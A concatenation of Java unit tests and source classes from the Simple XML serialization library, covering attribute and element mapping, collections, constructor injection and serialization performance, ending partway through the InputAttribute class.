import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Persister;
import junit.framework.TestCase;
public class RequiredTest extends TestCase {
private static final String COMPLETE =
"<?xml version=\"1.0\"?>\n"+
"<root number='1234' flag='true'>\n"+
" <value>complete</value> \n\r"+
"</root>";
private static final String OPTIONAL =
"<?xml version=\"1.0\"?>\n"+
"<root flag='true'/>";
@Root(name="root")
private static class Entry {
@Attribute(name="number", required=false)
private int number = 9999;
@Attribute(name="flag")
private boolean bool;
@Element(name="value", required=false)
private String value = "default";
public int getNumber() {
return number;
}
public boolean getFlag() {
return bool;
}
public String getValue() {
return value;
}
}
private Persister persister;
public void setUp() {
persister = new Persister();
}
public void testComplete() throws Exception {
Entry entry = persister.read(Entry.class, new StringReader(COMPLETE));
assertEquals("complete", entry.getValue());
assertEquals(1234, entry.getNumber());
assertEquals(true, entry.getFlag());
}
public void testOptional() throws Exception {
Entry entry = persister.read(Entry.class, new StringReader(OPTIONAL));
assertEquals("default", entry.getValue());
assertEquals(9999, entry.getNumber());
assertEquals(true, entry.getFlag());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/SimpleDateFormatTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import junit.framework.TestCase;
public class SimpleDateFormatTest extends TestCase {
public void testISO8601() throws ParseException {
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ssZ");
System.err.println(format.parse("2007-11-02T14:46:03+0100"));
SimpleDateFormat format2 = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
System.err.println(format2.parse("2007-11-02T14:46:03"));
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/AnnotationTypeTest.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.io.StringWriter;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.util.Map;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeMap;
import org.simpleframework.xml.stream.OutputNode;
public class AnnotationTypeTest extends ValidationTestCase {
private static final String SOURCE =
"<?xml version=\"1.0\"?>\n"+
"<annotationExample age='10'>\n"+
" <name key='name'><NAME></name>\n"+
"</annotationExample>";
@Retention(RetentionPolicy.RUNTIME)
private static @interface Component {
public String name();
}
@Root
private static class AnnotationExample {
@Component(name="name")
@Element
private String name;
@Component(name="age")
@Attribute
private int age;
public AnnotationExample(@Element(name="name") String name, @Attribute(name="age") int age) {
this.name = name;
this.age = age;
}
}
private static class AnnotationStrategy implements Strategy {
private static final String KEY = "key";
private final Strategy strategy;
private AnnotationStrategy() {
this.strategy = new TreeStrategy();
}
public Value read(Type type, NodeMap<InputNode> node, Map map) throws Exception {
Component component = type.getAnnotation(Component.class);
if(component != null) {
String name = component.name();
InputNode value = node.get(KEY);
if(!value.getValue().equals(name)) {
throw new IllegalStateException("Component name incorrect, expected '"+name+"' but was '"+value.getValue()+"'");
}
}
return strategy.read(type, node, map);
}
public boolean write(Type type, Object value, NodeMap<OutputNode> node, Map map) throws Exception {
Component component = type.getAnnotation(Component.class);
if(component != null) {
String name = component.name();
if(name != null) {
node.put(KEY, name);
}
}
return strategy.write(type, value, node, map);
}
}
public void testAnnotationType() throws Exception {
Strategy strategy = new AnnotationStrategy();
Persister persister = new Persister(strategy);
StringWriter writer = new StringWriter();
AnnotationExample example = persister.read(AnnotationExample.class, SOURCE);
persister.write(example, writer);
String text = writer.toString();
assertElementHasAttribute(text, "/annotationExample", "age", "10");
assertElementHasAttribute(text, "/annotationExample/name", "key", "name");
AnnotationExample result = persister.read(AnnotationExample.class, text);
assertEquals(example.name, result.name);
assertEquals(example.age, result.age);
validate(result, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/NoAnnotationsRequiredTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.Serializable;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.stream.Verbosity;
public class NoAnnotationsRequiredTest extends ValidationTestCase {
public static class Thing {
public String thing = "thing";
}
public static class Person extends Thing {
private String name = "Jim";
private String surname = "Beam";
private int age = 90;
private Address address = new Address();
private List<String> hobbies = new ArrayList<String>();
public Person() {
hobbies.add("Soccer");
hobbies.add("Golf");
hobbies.add("Tennis");
}
}
public static class Address {
private String street = "10 Some Street";
private String city = "New York";
private String country = "US";
}
private static class PrimitiveEntry implements Serializable {// Verbosity {HIGH,LOW}
private transient String transientText = "THIS TEXT IS NOT SERIALZED";
private boolean booleanValue = false;
private byte byteValue = 6;
private short shortValue = 78;
private int intValue = 102353;
private float floatValue = 93.342f;
private long longValue = 102L;
private double doubleValue = 34.2;
private String stringValue = "text";
private Date dateValue = new Date();
private byte[] byteArray = new byte[]{1,2,3,4,5,6,7,8,9};
private byte[][] byteArrayArray = new byte[][]{{1,2,3,4,5,6,7,8,9},{1,2,3,4,5,6,7,8,9}};
private String[] stringArray = new String[] {"A", "B", "C"};
private Map<Double, String> doubleToString = new HashMap<Double, String>();
public PrimitiveEntry() {
doubleToString.put(1.0, "ONE");
doubleToString.put(12.0, "TWELVE");
}
}
public void testPerformance() throws Exception {
Format format = new Format(0, Verbosity.LOW);
Persister persister = new Persister(format);
PrimitiveEntry entry = new PrimitiveEntry();
StringWriter writer = new StringWriter();
Marshaller marshaller = new CompressionMarshaller(Compression.NONE);
int iterations = 10000;
String xmlText = null;
String binaryText = null;
for(int i = 0; i < iterations; i++) {
persister.write(entry, writer);
xmlText = writer.getBuffer().toString();
if(i == 0) {
System.err.println(xmlText);
}
writer.getBuffer().setLength(0);
}
for(int i = 0; i < iterations; i++) {
binaryText = marshaller.marshallText(entry, PrimitiveEntry.class);
if(i == 0) {
System.err.println(binaryText);
}
}
long startTime = System.currentTimeMillis();
for(int i = 0; i < iterations; i++) {
persister.write(entry, writer);
writer.getBuffer().toString();
writer.getBuffer().setLength(0);
}
long duration = System.currentTimeMillis() - startTime;
System.err.println("Time for writing XML: " + duration + " 1 per " + ((double)duration / (double)iterations));
startTime = System.currentTimeMillis();
for(int i = 0; i < iterations; i++) {
marshaller.marshallText(entry, PrimitiveEntry.class);
}
duration = System.currentTimeMillis() - startTime;
System.err.println("Time for writing BINARY: " + duration + " 1 per " + ((double)duration / (double)iterations));
startTime = System.currentTimeMillis();
for(int i = 0; i < iterations; i++) {
persister.write(entry, writer);
writer.getBuffer().toString();
writer.getBuffer().setLength(0);
}
duration = System.currentTimeMillis() - startTime;
System.err.println("Time for writing XML: " + duration + " 1 per " + ((double)duration / (double)iterations));
startTime = System.currentTimeMillis();
for(int i = 0; i < iterations; i++) {
marshaller.marshallText(entry, PrimitiveEntry.class);
}
duration = System.currentTimeMillis() - startTime;
System.err.println("Time for writing BINARY: " + duration + " 1 per " + ((double)duration / (double)iterations));
// Test the writing...;
startTime = System.currentTimeMillis();
for(int i = 0; i < iterations; i++) {
persister.read(PrimitiveEntry.class, xmlText);
}
duration = System.currentTimeMillis() - startTime;
System.err.println("Time for reading XML: " + duration + " 1 per " + ((double)duration / (double)iterations));
startTime = System.currentTimeMillis();
for(int i = 0; i < iterations; i++) {
marshaller.unmarshallText(binaryText, PrimitiveEntry.class);
}
duration = System.currentTimeMillis() - startTime;
System.err.println("Time for reading BINARY: " + duration + " 1 per " + ((double)duration / (double)iterations));
startTime = System.currentTimeMillis();
for(int i = 0; i < iterations; i++) {
persister.read(PrimitiveEntry.class, xmlText);
}
duration = System.currentTimeMillis() - startTime;
System.err.println("Time for reading XML: " + duration + " 1 per " + ((double)duration / (double)iterations));
startTime = System.currentTimeMillis();
for(int i = 0; i < iterations; i++) {
marshaller.unmarshallText(binaryText, PrimitiveEntry.class);
}
duration = System.currentTimeMillis() - startTime;
System.err.println("Time for reading BINARY: " + duration + " 1 per " + ((double)duration / (double)iterations));
startTime = System.currentTimeMillis();
for(int i = 0; i < iterations; i++) {
persister.read(PrimitiveEntry.class, xmlText);
}
duration = System.currentTimeMillis() - startTime;
System.err.println("Time for reading XML: " + duration + " 1 per " + ((double)duration / (double)iterations));
startTime = System.currentTimeMillis();
for(int i = 0; i < iterations; i++) {
marshaller.unmarshallText(binaryText, PrimitiveEntry.class);
}
duration = System.currentTimeMillis() - startTime;
System.err.println("Time for reading BINARY: " + duration + " 1 per " + ((double)duration / (double)iterations));
validate(persister, entry);
}
public void testType() throws Exception {
Persister persister = new Persister();
PrimitiveEntry entry = new PrimitiveEntry();
StringWriter writer = new StringWriter();
persister.write(entry, writer);
validate(persister, entry);
}
public void testTypeVerbose() throws Exception {
Format format = new Format(Verbosity.LOW);
Persister persister = new Persister(format);
PrimitiveEntry entry = new PrimitiveEntry();
StringWriter writer = new StringWriter();
persister.write(entry, writer);
validate(persister, entry);
}
public void testSerialization() throws Exception {
Persister persister = new Persister();
Person person = new Person();
StringWriter writer = new StringWriter();
persister.write(person, writer);
validate(persister, person);
String text = writer.toString();
assertElementExists(text, "/person");
assertElementHasValue(text, "/person/thing", "thing");
assertElementHasValue(text, "/person/name", "Jim");
assertElementHasValue(text, "/person/surname", "Beam");
assertElementHasValue(text, "/person/age", "90");
assertElementExists(text, "/person/address");
assertElementHasValue(text, "/person/address/street", "10 Some Street");
assertElementHasValue(text, "/person/address/city", "New York");
assertElementHasValue(text, "/person/address/country", "US");
assertElementExists(text, "/person/hobbies");
assertElementHasValue(text, "/person/hobbies/string[1]", "Soccer");
assertElementHasValue(text, "/person/hobbies/string[2]", "Golf");
assertElementHasValue(text, "/person/hobbies/string[3]", "Tennis");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/CollectionEntryTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class CollectionEntryTest extends ValidationTestCase {
private static final String LIST =
"<?xml version=\"1.0\"?>\n"+
"<exampleCollection>\n"+
" <list>\n"+
" <substitute id='1'>\n"+
" <text>one</text> \n\r"+
" </substitute>\n\r"+
" <substitute id='2'>\n"+
" <text>two</text> \n\r"+
" </substitute>\n"+
" <substitute id='3'>\n"+
" <text>three</text> \n\r"+
" </substitute>\n"+
" </list>\n"+
"</exampleCollection>";
private static final String INLINE_LIST =
"<?xml version=\"1.0\"?>\n"+
"<exampleInlineCollection>\n"+
" <substitute id='1'>\n"+
" <text>one</text> \n\r"+
" </substitute>\n\r"+
" <substitute id='2'>\n"+
" <text>two</text> \n\r"+
" </substitute>\n"+
" <substitute id='3'>\n"+
" <text>three</text> \n\r"+
" </substitute>\n"+
"</exampleInlineCollection>";
private static final String INLINE_PRIMITIVE_LIST =
"<?xml version=\"1.0\"?>\n"+
"<examplePrimitiveCollection>\n"+
" <substitute>a</substitute>\n"+
" <substitute>b</substitute>\n"+
" <substitute>c</substitute>\n"+
" <substitute>d</substitute>\n"+
"</examplePrimitiveCollection>";
private static final String PRIMITIVE_LIST =
"<?xml version=\"1.0\"?>\n"+
"<examplePrimitiveCollection>\n"+
" <list>\r\n" +
" <substitute>a</substitute>\n"+
" <substitute>b</substitute>\n"+
" <substitute>c</substitute>\n"+
" <substitute>d</substitute>\n"+
" </list>\r\n" +
"</examplePrimitiveCollection>";
@Root
private static class Entry {
@Attribute
private int id;
@Element
private String text;
public String getText() {
return text;
}
public int getId() {
return id;
}
}
@Root
private static class ExampleCollection {
@ElementList(name="list", entry="substitute")
private List<Entry> list;
public List<Entry> getList() {
return list;
}
}
@Root
private static class ExampleInlineCollection {
@ElementList(name="list", entry="substitute", inline=true)
private List<Entry> list;
public List<Entry> getList() {
return list;
}
}
@Root
private static class ExamplePrimitiveCollection {
@ElementList(name="list", entry="substitute")
private List<Character> list;
public List<Character> getList() {
return list;
}
}
@Root
private static class ExamplePrimitiveInlineCollection {
@ElementList(name="list", entry="substitute", inline=true)
private List<String> list;
public List<String> getList() {
return list;
}
}
public void testExampleCollection() throws Exception {
Serializer serializer = new Persister();
ExampleCollection list = serializer.read(ExampleCollection.class, LIST);
validate(list, serializer);
}
public void testExampleInlineCollection() throws Exception {
Serializer serializer = new Persister();
ExampleInlineCollection list = serializer.read(ExampleInlineCollection.class, INLINE_LIST);
validate(list, serializer);
}
public void testExamplePrimitiveInlineCollection() throws Exception {
Serializer serializer = new Persister();
ExamplePrimitiveInlineCollection list = serializer.read(ExamplePrimitiveInlineCollection.class, INLINE_PRIMITIVE_LIST);
validate(list, serializer);
}
public void testExamplePrimitiveCollection() throws Exception {
Serializer serializer = new Persister();
ExamplePrimitiveCollection list = serializer.read(ExamplePrimitiveCollection.class, PRIMITIVE_LIST);
validate(list, serializer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ElementListUnionWithNoEntryOrNameTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.LinkedList;
import java.util.List;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class ElementListUnionWithNoEntryOrNameTest extends ValidationTestCase {
@Root
private static class ExampleWithNoNameOrEntry {
@ElementListUnion({
@ElementList(inline=true, entry="a", type=Integer.class),
@ElementList(inline=true, entry="b", type=Double.class),
@ElementList(inline=true, type=String.class)
})
private List<Object> value = new LinkedList<Object>();
}
public void testExample() throws Exception {
ExampleWithNoNameOrEntry e = new ExampleWithNoNameOrEntry();
e.value.add(11);
e.value.add(2.0);
e.value.add("xxx");
Persister persister = new Persister();
StringWriter writer = new StringWriter();
persister.write(e, writer);
persister.write(e, System.out);
ExampleWithNoNameOrEntry o = persister.read(ExampleWithNoNameOrEntry.class, writer.toString());
assertEquals(o.value.get(0), e.value.get(0));
assertEquals(o.value.get(1), e.value.get(1));
assertEquals(o.value.get(2), e.value.get(2));
validate(persister,e);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/ClassToNamespaceVisitor.java<|end_filename|>
package org.simpleframework.xml.strategy;
import org.simpleframework.xml.core.PersistenceException;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeMap;
import org.simpleframework.xml.stream.OutputNode;
public class ClassToNamespaceVisitor implements Visitor {
private final boolean comment;
public ClassToNamespaceVisitor(){
this(true);
}
public ClassToNamespaceVisitor(boolean comment){
this.comment = comment;
}
public void read(Type field, NodeMap<InputNode> node) throws Exception {
String namespace = node.getNode().getReference();
if(namespace != null && namespace.length() > 0) {
String type = new PackageParser().revert(namespace).getName();
if(type == null) {
throw new PersistenceException("Could not match name %s", namespace);
}
node.put("class", type);
}
}
public void write(Type field, NodeMap<OutputNode> node) throws Exception {
OutputNode value = node.remove("class");
if(value != null) {
String type = value.getValue();
String name = new PackageParser().parse(type);
if(name == null) {
throw new PersistenceException("Could not match class %s", type);
}
if(comment) {
node.getNode().setComment(type);
}
node.getNode().getNamespaces().setReference(name, "class");
node.getNode().setReference(name);
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ConstructorInjectionWithByteCodeTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
public class ConstructorInjectionWithByteCodeTest extends TestCase {
private static final String SOURCE =
"<exampleByteCode age='30'>\n"+
" <name><NAME></name>\n"+
"</exampleByteCode>";
@Root
public static class ExampleByteCode {
@Element
private String name;
@Attribute
private int age;
public ExampleByteCode(@Element String name, @Attribute int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
}
public void testByteCode() throws Exception {
// Persister persister = new Persister();
// ExampleByteCode example = persister.read(ExampleByteCode.class, SOURCE);
// assertEquals(example.getName(), "<NAME>");
// assertEquals(example.getAge(), 30);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/LabelMap.java<|end_filename|>
/*
* LabelMap.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.util.HashSet;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Set;
/**
* The <code>LabelMap</code> object represents a map that contains
* string label mappings. This is used for convenience as a typedef
* like construct to avoid having declare the generic type whenever
* it is referenced. Also this allows <code>Label</code> values
* from the map to be iterated within for each loops.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Label
*/
class LabelMap extends LinkedHashMap<String, Label> implements Iterable<Label> {
/**
* This is policy used to determine the type of mappings used.
*/
private final Policy policy;
/**
* Constructor for the <code>LabelMap</code> object is used to
* create an empty map. This is used for convenience as a typedef
* like construct which avoids having to use the generic type.
*/
public LabelMap() {
this(null);
}
/**
* Constructor for the <code>LabelMap</code> object is used to
* create an empty map. This is used for convenience as a typedef
* like construct which avoids having to use the generic type.
*/
public LabelMap(Policy policy) {
this.policy = policy;
}
/**
* This allows the <code>Label</code> objects within the label map
* to be iterated within for each loops. This will provide all
* remaining label objects within the map. The iteration order is
* not maintained so label objects may be given in any sequence.
*
* @return this returns an iterator for existing label objects
*/
public Iterator<Label> iterator() {
return values().iterator();
}
/**
* This performs a <code>remove</code> that will remove the label
* from the map and return that label. This method allows the
* values within the map to be exclusively taken one at a time,
* which enables the user to determine which labels remain.
*
* @param name this is the name of the element of attribute
*
* @return this is the label object representing the XML node
*/
public Label getLabel(String name) {
return remove(name);
}
/**
* This is used to acquire the paths and names for each label in
* this map. Extracting the names and paths in this manner allows
* a labels to be referred to by either. If there are no elements
* registered with this map this will return an empty set.
*
* @return this returns the names and paths for each label
*/
public String[] getKeys() throws Exception {
Set<String> list = new HashSet<String>();
for(Label label : this) {
if(label != null) {
String path = label.getPath();
String name = label.getName();
list.add(path);
list.add(name);
}
}
return getArray(list);
}
/**
* This is used to acquire the paths for each label in this map.
* Extracting the paths in this manner allows them to be used to
* reference the labels using paths only.
*
* @return this returns the paths for each label in this map
*/
public String[] getPaths() throws Exception {
Set<String> list = new HashSet<String>();
for(Label label : this) {
if(label != null) {
String path = label.getPath();
list.add(path);
}
}
return getArray(list);
}
/**
* This method is used to clone the label map such that mappings
* can be maintained in the original even if they are modified
* in the clone. This is used to that the <code>Schema</code> can
* remove mappings from the label map as they are visited.
*
* @return this returns a cloned representation of this map
*/
public LabelMap getLabels() throws Exception {
LabelMap map = new LabelMap(policy);
for(Label label : this) {
if(label != null) {
String name = label.getPath();
map.put(name, label);
}
}
return map;
}
/**
* Convert a set in to an array. Conversion is required as the keys
* and paths must be arrays. Converting from the set in this manner
* helps the performance on android which works faster with arrays.
*
* @param list this is the set to be converted to an array
*
* @return this returns an array of strings from the provided set
*/
private String[] getArray(Set<String> list) {
return list.toArray(new String[]{});
}
/**
* This method is used to determine whether strict mappings are
* required. Strict mapping means that all labels in the class
* schema must match the XML elements and attributes in the
* source XML document. When strict mapping is disabled, then
* XML elements and attributes that do not exist in the schema
* class will be ignored without breaking the parser.
*
* @param context this is used to determine if this is strict
*
* @return true if strict parsing is enabled, false otherwise
*/
public boolean isStrict(Context context) {
if(policy == null) {
return context.isStrict();
}
return context.isStrict() && policy.isStrict();
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ConstructorInjectionMatchParametersTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
public class ConstructorInjectionMatchParametersTest extends TestCase {
@Root
private static class Example {
@Attribute
private String name;
@Element
private String value;
@Attribute(required=false)
private Integer type;
public Example(
@Attribute(name="name") String name,
@Element(name="value") String value,
@Attribute(name="type") Integer type)
{
this.name = name;
this.value = value;
this.type = type;
}
}
public void testMatch() throws Exception {
Persister persister = new Persister();
Example example = new Example("a", "A", 10);
StringWriter writer = new StringWriter();
persister.write(example, writer);
Example recovered = persister.read(Example.class, writer.toString());
assertEquals(recovered.name, example.name);
assertEquals(recovered.value, example.value);
assertEquals(recovered.type, example.type);
}
public void testMatchWithNull() throws Exception {
Persister persister = new Persister();
Example example = new Example("a", "A", null);
StringWriter writer = new StringWriter();
persister.write(example, writer);
Example recovered = persister.read(Example.class, writer.toString());
assertEquals(recovered.name, example.name);
assertEquals(recovered.value, example.value);
assertEquals(recovered.type, example.type);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ProviderInformationTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.InputStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.io.Writer;
import java.math.BigDecimal;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Order;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
public class ProviderInformationTest extends TestCase {
private static final String SPDD =
"<?xml version='1.0' encoding='UTF-8'?>\n" +
"<!--Sample XML file for HelloAndroid Android App deployment-->\n" +
"<spd:SolutionPackageDeployment name='HelloAndroid'\n" +
" uuid='34d00b69-ba29-11e0-962b-0800200c9a66'\n" +
" deploymentOperation='BASE_INSTALL' version='1.0'\n" +
" xsi:schemaLocation='http://www.sra.com/rtapp/spdd SolutionPackageDeploymentV0.xsd'\n" +
" xmlns:spd='http://www.sra.com/rtapp/spdd'\n" +
" xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>\n" +
" <spd:ShortDescription>Used for testing element name case.</spd:ShortDescription>\n" +
" <spd:ProviderInformation>\n" +
" <spd:Manufacturer name='SRA' uuid='34d00b70-ba29-11e0-962b-0800200c9a66'/>\n" +
" </spd:ProviderInformation>\n" +
"</spd:SolutionPackageDeployment>\n";
public enum DeploymentOperationType {
BASE_INSTALL,
CONFIGURATION,
MAINTENANCE,
MODIFICATION,
REPLACEMENT,
UNINSTALL;
public String value() {
return name();
}
public static DeploymentOperationType fromValue(String v) {
return valueOf(v);
}
}
@Root
@Order( elements = {
"shortDescription",
"longDescription"
})
public abstract static class DescriptionType {
@Element(name = "ShortDescription", required = true)
protected String shortDescription;
@Element(name = "LongDescription", required = false)
protected String longDescription;
public String getShortDescription() {
return shortDescription;
}
public void setShortDescription(String value) {
this.shortDescription = value;
}
public String getLongDescription() {
return longDescription;
}
public void setLongDescription(String value) {
this.longDescription = value;
}
}
@Root
public static class ManufacturerType {
@Attribute(required = true)
protected String name;
@Attribute(required = true)
protected String uuid;
public String getName() {
return name;
}
public void setName(String value) {
this.name = value;
}
public String getUuid() {
return uuid;
}
public void setUuid(String value) {
this.uuid = value;
}
}
@Root
public static class NameDescriptionType
extends DescriptionType
{
@Attribute(required = true)
protected String name;
public String getName() {
return name;
}
public void setName(String value) {
this.name = value;
}
}
@Root
@Order( elements = {
"manufacturer"
})
public static class ProviderInformationType {
@Element(name = "Manufacturer", required = false)
protected ManufacturerType manufacturer;
public ManufacturerType getManufacturer() {
return manufacturer;
}
public void setManufacturer(ManufacturerType value) {
this.manufacturer = value;
}
}
public static class SolutionPackageDeploymentDescriptor
{
private SolutionPackageDeploymentType itsSolutionPackageDeployment;
public SolutionPackageDeploymentDescriptor( InputStream aInputStream )
throws Exception
{
Serializer serializer = new Persister();
try
{
itsSolutionPackageDeployment =
serializer.read( SolutionPackageDeploymentType.class, aInputStream, false );
}
catch (Exception exception)
{
System.out.println( "Constructor exception " + exception.getMessage() );
throw( exception );
}
}
public SolutionPackageDeploymentDescriptor( File aFile ) throws Exception
{
Serializer serializer = new Persister();
try
{
itsSolutionPackageDeployment =
serializer.read( SolutionPackageDeploymentType.class, aFile, false );
}
catch (Exception exception)
{
System.out.println( "Constructor exception " + exception.getMessage() );
throw( exception );
}
}
public SolutionPackageDeploymentDescriptor(
SolutionPackageDeploymentType aSolutionPackageDeploymentElement )
{
itsSolutionPackageDeployment = aSolutionPackageDeploymentElement;
}
public SolutionPackageDeploymentType getSolutionPackageDeployment()
{
return itsSolutionPackageDeployment;
}
public String toString()
{
Serializer serializer = new Persister();
StringWriter xmlWriter = new StringWriter();
try
{
serializer.write( itsSolutionPackageDeployment, xmlWriter );
}
catch (Exception exception)
{
final Writer result = new StringWriter();
final PrintWriter printWriter = new PrintWriter(result);
exception.printStackTrace(printWriter);
System.out.println( "serializer.write exception " + exception.getMessage() );
System.out.println( result.toString() );
xmlWriter.append( "serializer.write exception " + exception.getMessage() );
}
return xmlWriter.toString();
}
public void writeToFile( File aOutputFile ) throws Exception
{
Serializer serializer = new Persister();
try
{
serializer.write( itsSolutionPackageDeployment, aOutputFile );
}
catch (Exception exception)
{
System.out.println( "writeToFile exception " + exception.getMessage() );
throw( exception );
}
}
}
@Root
@Order( elements = {
"providerInformation"
})
public static class SolutionPackageDeploymentType
extends UniversallyIdentifiedType
{
@Element(name = "ProviderInformation", required = true)
protected ProviderInformationType providerInformation;
@Attribute(required = true)
protected BigDecimal version;
@Attribute(required = true)
protected DeploymentOperationType deploymentOperation;
public ProviderInformationType getProviderInformation() {
return providerInformation;
}
public void setProviderInformation(ProviderInformationType value) {
this.providerInformation = value;
}
public BigDecimal getVersion() {
return version;
}
public void setVersion(BigDecimal value) {
this.version = value;
}
public DeploymentOperationType getDeploymentOperation() {
return deploymentOperation;
}
public void setDeploymentOperation(DeploymentOperationType value) {
this.deploymentOperation = value;
}
}
@Root
public static class UniversallyIdentifiedType
extends NameDescriptionType
{
@Attribute(required = true)
protected String uuid;
public String getUuid() {
return uuid;
}
public void setUuid(String value) {
this.uuid = value;
}
}
public void testToString() throws Exception
{
boolean fail = false;
// Get the xml document to parse
InputStream spddDocument = new ByteArrayInputStream( SPDD.getBytes("UTF-8") );
try {
// Create the SolutionPackageDeploymentDescriptor by parsing the file
SolutionPackageDeploymentDescriptor spdd =
new SolutionPackageDeploymentDescriptor( spddDocument );
// Verify that the ProviderInformation element exists
assertNotNull( spdd.getSolutionPackageDeployment().getProviderInformation() );
// Serialize the classes into a new xml document
String serializedSPDD = new String( spdd.toString() );
assertFalse( serializedSPDD.contains( "exception" ));
// Write the parsed classes to the console
System.out.println( serializedSPDD );
}
catch (Exception e)
{
e.printStackTrace();
fail = true;
}
assertTrue("This test should fail because of bad order in elements", fail);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/InputAttribute.java<|end_filename|>
/*
* InputAttribute.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
/**
* The <code>InputAttribute</code> is used to represent an attribute
* within an element. Rather than representing an attribute as a
* name value pair of strings, an attribute is instead represented
* as an input node, in the same manner as an element. The reason
* for representing an attribute in this way is such that a uniform
* means of extracting and parsing values can be used for inputs.
*
* @author <NAME>
*/
class InputAttribute implements InputNode {
/**
* This is the parent node to this attribute instance.
*/
private InputNode parent;
/**
* This is the reference associated with this attribute node.
*/
private String reference;
/**
* This is the prefix associated with this attribute node.
*/
private String prefix;
/**
* Represents the name of this input attribute instance.
*/
private String name;
/**
* Represents the value for this input attribute instance.
*/
private String value;
/**
* This is the source associated with this input attribute.
*/
private Object source;
/**
* Constructor for the <code>InputAttribute</code> object. This
* is used to create an input attribute using the provided name
* and value, all other values for this input node will be null.
*
* @param parent this is the parent node to this attribute
* @param name this is the name for this attribute object
* @param value this is the value for this attribute object
*/
public InputAttribute(InputNode parent, String name, String value) {
this.parent = parent;
this.value = value;
this.name = name;
}
/**
* Constructor for the <code>InputAttribute</code> object. This
* is used to create an input attribute using the provided name
* and value, all other values for this input node will be null.
*
* @param parent this is the parent node to this attribute
* @param attribute this is the attribute containing the details
*/
public InputAttribute(InputNode parent, Attribute attribute) {
this.reference = attribute.getReference();
this.prefix = attribute.getPrefix();
this.source = attribute.getSource();
this.value = attribute.getValue();
this.name = attribute.getName();
this.parent = parent;
}
/**
* This is used to return the source object for this node. This
* is used primarily as a means to determine which XML provider
* is parsing the source document and producing the nodes. It
* is useful to be able to determine the XML provider like this.
*
* @return this returns the source of this input node
*/
public Object getSource() {
return source;
}
/**
* This is used to acquire the <code>Node</code> that is the
* parent of this node. This will return the node that is
* the direct parent of this node and allows for siblings to
* make use of nodes with their parents if required.
*
* @return this returns the parent node for this node
*/
public InputNode getParent() {
return parent;
}
/**
* This provides the position of this node within the document.
* This allows the user of this node to report problems with
* the location within the document, allowing the XML to be
* debugged if it does not match the class schema.
*
* @return this returns the position of the XML read cursor
*/
public Position getPosition() {
return parent.getPosition();
}
/**
* Returns the name of the node that this represents. This is
* an immutable property and will not change for this node.
*
* @return returns the name of the node that this represents
*/
